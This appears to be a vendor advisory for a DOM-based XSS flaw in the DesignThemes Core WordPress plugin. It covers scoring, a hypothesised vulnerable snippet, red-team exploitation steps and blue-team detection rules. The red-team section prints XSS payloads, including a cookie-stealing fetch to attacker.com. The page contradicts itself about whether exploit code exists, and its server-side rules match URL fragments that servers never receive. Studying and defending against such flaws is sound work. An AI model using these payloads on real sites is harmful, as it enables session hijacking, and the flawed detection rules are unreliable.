CVE-2025-68978
Executive Summary
CVE-2025-68978 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the DesignThemes Core WordPress plugin, affecting versions up to and including 1.6. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. As this is a WordPress plugin vulnerability, it is critical to treat it within the WordPress ecosystem—no underlying web server (Apache/Nginx) is at fault. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the potential for partial confidentiality, integrity, and availability impact. No public proof-of-concept (PoC) or exploit code has been identified at this time, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the DesignThemes Core WordPress plugin, distributed via the official WordPress plugin repository and potentially through theme bundles. As a WordPress plugin, it is part of the broader WordPress supply chain. Users who have installed this plugin from the WordPress repository or as part of a premium theme are at risk. No official patch has been released, and the plugin's maintainer (Designthemes) has not provided a security update. Organizations should treat this as a high-priority supply chain risk and consider removing or replacing the plugin until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on service availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WordPress plugins elevate the risk. DOM-based XSS can be used for session hijacking, credential theft, or defacement.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS, meaning the injection occurs entirely on the client side. The vulnerable code in designthemes-core likely processes user input (e.g., via URL fragments, document.location, or window.name) and writes it directly to the DOM without proper sanitization. For example, a script might read a parameter from the URL hash and inject it into an HTML element using innerHTML or document.write.
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g.,
#<script>alert(1)</script>). - The victim clicks the link or is redirected to the crafted URL.
- The plugin's JavaScript code reads the payload from the DOM source (e.g.,
location.hash) and inserts it into the page without escaping. - The browser executes the injected script in the context of the victim's session.
Root Cause: The plugin fails to use safe DOM manipulation methods (e.g., textContent instead of innerHTML) and does not encode user input before insertion.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the vulnerable pattern. A typical vulnerable snippet might look like:
// Vulnerable code (designthemes-core <= 1.6)
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
A patched version would use safe methods:
// Patched code (hypothetical)
var userInput = window.location.hash.substring(1);
document.getElementById('output').textContent = userInput;
// Or use DOMPurify
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with DesignThemes Core plugin version <= 1.6.
- A victim user with an active session.
Exploitation Steps:
- Identify the vulnerable parameter (e.g.,
#hash,?query, orwindow.name). For demonstration, assume the hash is used. - Craft a payload:
https://victim-site.com/#<img src=x onerror=alert(document.cookie)> - Send the link to the victim via phishing email or social engineering.
- When the victim clicks the link, the script executes, exfiltrating cookies or performing actions on their behalf.
Example Payload:
https://victim-site.com/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection & Prevention:
- Monitor for unusual URL fragments containing script tags or event handlers.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use Web Application Firewall (WAF) rules to detect XSS patterns in URL fragments.
- Educate users about phishing links.
Lab Setup:
- Use a local WordPress instance with the vulnerable plugin.
- Simulate the attack using a browser's developer console.
- Verify detection via browser console errors or network logs.
Indicators of Compromise (IOCs)
- URL Patterns: URLs containing
#<script,#<img,#<svg, or other HTML tags in the fragment. - Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser (e.g.,
GET /steal?cookie=...). - Browser Console: JavaScript errors or unexpected script execution.
- Logs: Web server logs showing requests with suspicious fragments (e.g.,
GET /page#<script>...).
Detection Engineering
YARA Rule
rule CVE_2025_68978_DOM_XSS {
meta:
description = "Detects DOM-based XSS patterns in DesignThemes Core plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68978"
strings:
$xss1 = /location\.hash[^;]*innerHTML/i
$xss2 = /location\.hash[^;]*outerHTML/i
$xss3 = /location\.hash[^;]*document\.write/i
$xss4 = /window\.name[^;]*innerHTML/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-68978 DOM-Based XSS in DesignThemes Core
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential exploitation of DOM-based XSS in DesignThemes Core plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '#<script'
- '#<img'
- '#<svg'
- '#<iframe'
condition: selection
falsepositives:
- Legitimate use of HTML fragments in URLs
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68978 DOM-Based XSS in DesignThemes Core"; flow:to_server; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-68978 DOM-Based XSS in DesignThemes Core"; flow:to_server; content:"#<img"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-68978 DOM-Based XSS in DesignThemes Core"; flow:to_server; content:"#<svg"; http_uri; nocase; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in URL fragments.
- Add Content Security Policy (CSP) headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Educate users about the risks of clicking suspicious links.
Long-Term Fix:
- Contact the plugin vendor (Designthemes) for a security update.
- Monitor the WordPress plugin repository for a patched version.
- Consider replacing the plugin with an alternative that is actively maintained.
Workaround:
- If the plugin cannot be disabled, manually patch the vulnerable JavaScript file by replacing
innerHTMLwithtextContentor usingDOMPurify.sanitize().
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.